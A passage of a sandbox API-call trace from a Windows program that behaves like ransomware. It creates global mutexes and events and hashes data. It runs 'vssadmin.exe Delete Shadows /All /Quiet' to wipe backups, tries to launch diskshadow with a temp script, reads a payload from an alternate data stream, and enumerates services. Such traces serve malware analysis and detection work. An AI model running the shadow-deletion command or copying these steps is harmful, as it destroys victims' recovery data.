Flags=0x0, BaseAddress=0x1c89180) returned 1 [0027.135] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89180 [0027.135] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x0 [0027.136] GetLastError () returned 0x2 [0027.136] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x5000) returned 0x1c82850 [0027.136] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c891c8 [0027.136] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c891c8) returned 1 [0027.136] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0027.136] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82850) returned 1 [0027.136] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x27d228, lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8 | out: lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8) returned 1 [0027.136] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c891c8 [0027.136] CreateEventA (lpEventAttributes=0x18fc40, bManualReset=1, bInitialState=0, lpName="Global\\{92EAD6E2-16CB-825D-3763-CAC9D6ED414E}") returned 0x124 [0027.136] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c891c8) returned 1 [0027.136] GetLastError () returned 0x0 [0027.137] SetSecurityInfo () returned 0x0 [0027.137] LocalFree (hMem=0x27d228) returned 0x0 [0027.137] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c891c8 [0027.137] CryptAcquireContextW (in: phProv=0x18fc30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc30*=0x286840) returned 1 [0027.137] CryptCreateHash (in: hProv=0x286840, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18fc30 | out: phHash=0x18fc30) returned 1 [0027.137] CryptHashData (hHash=0x2867c8, pbData=0x233c240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0027.137] CryptGetHashParam (in: hHash=0x2867c8, dwParam=0x4, pbData=0x18fc34, pdwDataLen=0x18fc40, dwFlags=0x0 | out: pbData=0x18fc34, pdwDataLen=0x18fc40) returned 1 [0027.137] CryptGetHashParam (in: hHash=0x2867c8, dwParam=0x2, pbData=0x1c891c8, pdwDataLen=0x18fc34, dwFlags=0x0 | out: pbData=0x1c891c8, pdwDataLen=0x18fc34) returned 1 [0027.137] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89138 [0027.138] CryptDestroyHash (hHash=0x2867c8) returned 1 [0027.138] CryptReleaseContext (hProv=0x286840, dwFlags=0x0) returned 1 [0027.138] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c891c8) returned 1 [0027.138] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c891c8 [0027.138] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89210 [0027.138] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c891c8) returned 1 [0027.138] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c891c8 [0027.138] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c891c8) returned 1 [0027.138] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89210) returned 1 [0027.138] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89138) returned 1 [0027.138] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89138 [0027.138] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89210 [0027.138] OpenMutexA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x0 [0027.138] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89210) returned 1 [0027.138] GetLastError () returned 0x2 [0027.138] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x5000) returned 0x1c82850 [0027.138] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89210 [0027.138] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89210) returned 1 [0027.138] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0027.139] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82850) returned 1 [0027.139] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x27d228, lpbSaclPresent=0x18fbf4, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf4 | out: lpbSaclPresent=0x18fbf4, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf4) returned 1 [0027.139] CreateMutexA (lpMutexAttributes=0x18fc40, bInitialOwner=0, lpName="Global\\{FD64C8AB-F74D-C8D4-F31D-96A1BB45705E}") returned 0x150 [0027.139] GetLastError () returned 0x0 [0027.139] SetSecurityInfo () returned 0x0 [0027.139] LocalFree (hMem=0x27d228) returned 0x0 [0027.139] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x0 [0027.139] ReleaseMutex (hMutex=0x150) returned 1 [0027.139] SetEvent (hEvent=0x120) returned 1 [0027.140] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x100) returned 0x1c89e98 [0027.140] GetSystemDirectoryW (in: lpBuffer=0x1c89e98, uSize=0x40 | out: lpBuffer="C:\\Windows\\system32") returned 0x13 [0027.140] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89e98) returned 1 [0027.140] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e8c8 [0027.140] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e950 [0027.140] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e9d8 [0027.140] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x5000) returned 0x1c82850 [0027.140] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89210 [0027.140] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89210) returned 1 [0027.140] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82850) returned 1 [0027.140] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x5000) returned 0x1c82850 [0027.140] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89210 [0027.140] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89210) returned 1 [0027.140] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82850) returned 1 [0027.140] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ea60 [0027.140] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\vssadmin.exe", lpCommandLine="C:\\Windows\\system32\\vssadmin.exe Delete Shadows /All /Quiet", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbc8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbb8 | out: lpCommandLine="C:\\Windows\\system32\\vssadmin.exe Delete Shadows /All /Quiet", lpProcessInformation=0x18fbb8*(hProcess=0x158, hThread=0x154, dwProcessId=0x7e0, dwThreadId=0x328)) returned 1 [0027.154] NtClose (Handle=0x154) returned 0x0 [0027.154] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ea60) returned 1 [0027.154] NtClose (Handle=0x158) returned 0x0 [0027.154] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ea60 [0027.154] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x400) returned 0x1c82850 [0027.154] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x400) returned 0x1c82c58 [0027.154] GetEnvironmentVariableW (in: lpName="TEMP", lpBuffer=0x1c82850, nSize=0x100 | out: lpBuffer="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0027.154] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp", lpszShortPath=0x1c82c58, cchBuffer=0x100 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x24 [0027.154] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82c58) returned 1 [0027.154] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82850) returned 1 [0027.154] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ea60) returned 1 [0027.154] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ea60 [0027.154] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x400) returned 0x1c82850 [0027.154] CryptAcquireContextW (in: phProv=0x18fb94, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb94*=0x286840) returned 1 [0027.155] CryptGenRandom (in: hProv=0x286840, dwLen=0x4, pbBuffer=0x18fba8 | out: pbBuffer=0x18fba8) returned 1 [0027.155] CryptReleaseContext (hProv=0x286840, dwFlags=0x0) returned 1 [0027.155] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233eae8 [0027.155] CryptAcquireContextW (in: phProv=0x18fb90, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb90*=0x286840) returned 1 [0027.156] CryptGenRandom (in: hProv=0x286840, dwLen=0x4, pbBuffer=0x18fba4 | out: pbBuffer=0x18fba4) returned 1 [0027.156] CryptReleaseContext (hProv=0x286840, dwFlags=0x0) returned 1 [0027.156] CryptAcquireContextW (in: phProv=0x18fb90, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb90*=0x286840) returned 1 [0027.157] CryptGenRandom (in: hProv=0x286840, dwLen=0x4, pbBuffer=0x18fba4 | out: pbBuffer=0x18fba4) returned 1 [0027.157] CryptReleaseContext (hProv=0x286840, dwFlags=0x0) returned 1 [0027.157] CryptAcquireContextW (in: phProv=0x18fb90, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb90*=0x286840) returned 1 [0027.157] CryptGenRandom (in: hProv=0x286840, dwLen=0x4, pbBuffer=0x18fba4 | out: pbBuffer=0x18fba4) returned 1 [0027.157] CryptReleaseContext (hProv=0x286840, dwFlags=0x0) returned 1 [0027.157] CryptAcquireContextW (in: phProv=0x18fb90, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fb90*=0x286840) returned 1 [0027.158] CryptGenRandom (in: hProv=0x286840, dwLen=0x4, pbBuffer=0x18fba4 | out: pbBuffer=0x18fba4) returned 1 [0027.158] CryptReleaseContext (hProv=0x286840, dwFlags=0x0) returned 1 [0027.158] GetTempFileNameW (in: lpPathName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\", lpPrefixString="Sey", uUnique=0x0, lpTempFileName=0x1c82850 | out: lpTempFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Sey7C50.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\sey7c50.tmp")) returned 0x7c50 [0027.159] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233eae8) returned 1 [0027.159] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x400) returned 0x1c82c58 [0027.159] GetShortPathNameW (in: lpszLongPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Sey7C50.tmp", lpszShortPath=0x1c82c58, cchBuffer=0x100 | out: lpszShortPath="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Sey7C50.tmp") returned 0x30 [0027.159] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82850) returned 1 [0027.159] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ea60) returned 1 [0027.159] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ea60 [0027.159] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Sey7C50.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\sey7c50.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18fb9c | out: lpFileInformation=0x18fb9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3279c170, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x3279c170, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x3279c170, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0027.159] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Sey7C50.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\sey7c50.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x158 [0027.160] SetFileTime (hFile=0x158, lpCreationTime=0x0, lpLastAccessTime=0x18fbe0, lpLastWriteTime=0x18fbe0) returned 1 [0027.160] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x2800) returned 0x1c83060 [0027.160] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89210 [0027.160] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89210) returned 1 [0027.160] WriteFile (in: hFile=0x158, lpBuffer=0x1c83060*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x18fc0c, lpOverlapped=0x0 | out: lpBuffer=0x1c83060*, lpNumberOfBytesWritten=0x18fc0c*=0x1a, lpOverlapped=0x0) returned 1 [0027.161] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c83060) returned 1 [0027.161] NtClose (Handle=0x158) returned 0x0 [0027.161] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x5000) returned 0x1c89e98 [0027.162] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89210 [0027.162] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89210) returned 1 [0027.162] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89e98) returned 1 [0027.162] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233eae8 [0027.162] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x100) returned 0x1c82850 [0027.162] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233eae8) returned 1 [0027.162] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\diskshadow.exe", lpCommandLine="C:\\Windows\\system32\\diskshadow.exe /s C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Sey7C50.tmp", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbc8*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbb8 | out: lpCommandLine="C:\\Windows\\system32\\diskshadow.exe /s C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\Sey7C50.tmp", lpProcessInformation=0x18fbb8*(hProcess=0x0, hThread=0x0, dwProcessId=0x0, dwThreadId=0x0)) returned 0 [0027.162] NtClose (Handle=0x0) returned 0xc0000008 [0027.162] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82850) returned 1 [0027.162] NtClose (Handle=0x0) returned 0xc0000008 [0027.162] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ea60) returned 1 [0027.162] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82c58) returned 1 [0027.162] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233e9d8) returned 1 [0027.162] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233e950) returned 1 [0027.162] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233e8c8) returned 1 [0027.162] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e8c8 [0027.162] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\dp1uhj~1:bin"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x31e3cad0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x31e3cad0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x31e3cad0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x27000)) returned 1 [0027.162] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\dp1uhj~1:bin"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x158 [0027.163] SetFileTime (hFile=0x158, lpCreationTime=0x0, lpLastAccessTime=0x18fc2c, lpLastWriteTime=0x18fc2c) returned 0 [0027.163] GetFileSize (in: hFile=0x158, lpFileSizeHigh=0x18fc18 | out: lpFileSizeHigh=0x18fc18*=0x0) returned 0x27000 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x184) returned 0x1c82850 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89210 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c891c8 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89258 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c892a0 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c892e8 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89330 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89378 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c893c0 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89408 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89450 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89498 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c894e0 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89528 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89570 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c895b8 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89600 [0027.163] SetFilePointer (in: hFile=0x158, lDistanceToMove=0, lpDistanceToMoveHigh=0x18fc24*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18fc24*=0) returned 0x0 [0027.163] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x27000) returned 0x1c89e98 [0027.164] ReadFile (in: hFile=0x158, lpBuffer=0x1c89e98, nNumberOfBytesToRead=0x27000, lpNumberOfBytesRead=0x18fc58, lpOverlapped=0x0 | out: lpBuffer=0x1c89e98*, lpNumberOfBytesRead=0x18fc58*=0x27000, lpOverlapped=0x0) returned 1 [0027.165] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x27000) returned 0x1cb0ea0 [0027.166] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89e98) returned 1 [0027.167] NtClose (Handle=0x158) returned 0x0 [0027.167] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x286c38 [0027.306] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40000) returned 0x1cd7ea8 [0027.309] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x400) returned 0x1c829e0 [0027.309] EnumServicesStatusExW (in: hSCManager=0x286c38, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x3, lpServices=0x1cd7ea8, cbBufSize=0x40000, pcbBytesNeeded=0x18fc04, lpServicesReturned=0x18fbf4, lpResumeHandle=0x18fc00, pszGroupName=0x0 | out: lpServices=0x1cd7ea8, pcbBytesNeeded=0x18fc04, lpServicesReturned=0x18fbf4, lpResumeHandle=0x18fc00) returned 1 [0027.317] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89648 [0027.317] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e950 [0027.317] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e9d8 [0027.317] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ea60 [0027.317] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233eae8 [0027.317] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233eb70 [0027.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0027.317] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89690 [0027.317] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x1c89690, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0027.317] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c896d8 [0027.317] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89690) returned 1 [0027.317] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c896d8) returned 1 [0027.317] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233eb70) returned 1 [0027.317] OpenServiceW (hSCManager=0x286c38, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x1) returned 0x286d00 [0027.318] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x0, cbBufSize=0x0, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x0, pcbBytesNeeded=0x18fbe8) returned 0 [0027.318] GetLastError () returned 0x7a [0027.318] QueryServiceConfigW (in: hService=0x286d00, lpServiceConfig=0x1c829e0, cbBufSize=0x146, pcbBytesNeeded=0x18fbe8 | out: lpServiceConfig=0x1c829e0, pcbBytesNeeded=0x18fbe8) returned 1 [0027.318] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233eb70 [0027.318] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ebf8 [0027.318] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233eb70) returned 1 [0027.318] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ebf8) returned 1 [0027.318] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ebf8 [0027.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashplayerupdateservice.exe", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0027.318] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c896d8 [0027.318] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="flashplayerupdateservice.exe", cchWideChar=28, lpMultiByteStr=0x1c896d8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="flashplayerupdateservice.exe", lpUsedDefaultChar=0x0) returned 28 [0027.318] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89690 [0027.319] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c896d8) returned 1 [0027.319] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89690) returned 1 [0027.319] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ebf8) returned 1 [0027.319] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89690 [0027.319] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c896d8 [0027.319] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ebf8 [0027.319] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233eb70 [0027.319] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ec80 [0027.319] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ed08 [0027.319] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233ed90 [0027.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0027.319] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89720 [0027.319] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x1c89720, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0027.319] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89768 [0027.319] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89720) returned 1 [0027.319] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89768) returned 1 [0027.319] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233ed90) returned 1 [0027.319] OpenServiceW (hSCManager=0x286c38, lpServiceName="AeLookupSvc", dwDesiredAccess=0x1) returned 0x286dc8 [0027.319] CloseServiceHandle (hSCObject=0x286d00) returned 1 